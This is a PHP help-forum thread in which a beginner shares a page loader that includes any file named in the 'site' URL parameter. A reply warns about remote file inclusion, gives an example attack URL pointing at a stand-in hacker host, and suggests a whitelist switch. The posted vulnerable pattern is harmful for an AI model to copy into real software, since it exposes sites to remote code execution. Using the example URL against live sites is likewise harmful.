Jump to content

Open to files with one link


JewDew4

Recommended Posts

Hey guys.

 

I'm kinda newbish in PHP but i've managede to creat the following:

<?php
$side = $_GET['site'];
$sti = $side . ".php";
if ($side=="" || !$side){
include("home.php");
}
else if(!is_file($sti))
{
include ("error.php");
} else {
$side = $side.".php";
include ($side);
}
?>

you then open the site with this link:

<a href="<? echo $_SERVER['PHP_SELF'] . "?site=NAVN"; ?>" class="class">Link tekst</a>

 

Now i need to open 2 files with just 1 link.

The folders is the main folder and a subfolder.

In the main folder the text files, menu file, coding site are.

In the subfolder the header files are.

 

Why do I wanna do this?

I'm using z-index and a div to place my header above some graphics on the site so it looks nicer.

I now want to open the text in the normal cell in my table where it's supposede to be and then have the header fitting to the site on top.

If you understand me?

 

Hope some one can help me out here. Because I'm really in need of an answer and I've tryede Google it, but I don't know how the hell to search for the answer.

 

Merry Christmas!

 

Regards.

 

 

PS: Sorry if you don't understand some of the words in the code - but it's Danish ^^

Link to comment
Share on other sites

This whole method of choosing pages is very very risky... You can get you site hacked easily by having scripts made out like that. Take this example-

 

Someone writes into the url:

your-domain.com/index.php?site=http://i-am-a-bad-hacker.com/virus

This way, you'll have "http://i-am-a-bad-hacker.com/virus.php" included, and I believe that by now you've understood what the consequences can be...

 

 

You should give this a whole new structure:

<?php

if(!isset($_GET['site']) || empty($_GET['site']))
include("home.php");
switch($_GET['site'])
{
case "NAVN":
case "some-page":
case "site-map":
//etc- all of your pages
	include($_GET['site'].".php");
	break;
default:
	include("error.php");
}

?>

 

Orio.

Link to comment
Share on other sites

I knew about that way to structur the site.

But as I told I'm kinda newbish still ^^

 

But if I use your way to creat the PHP code I'm in need of a page explaning how that stuff work or a little walkthrough to tell me how my links would look like and stuff?

I've seen one of my friends using that way of linking but never really understod it.

 

 

Thank you for your reply!

Very useful!

 

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.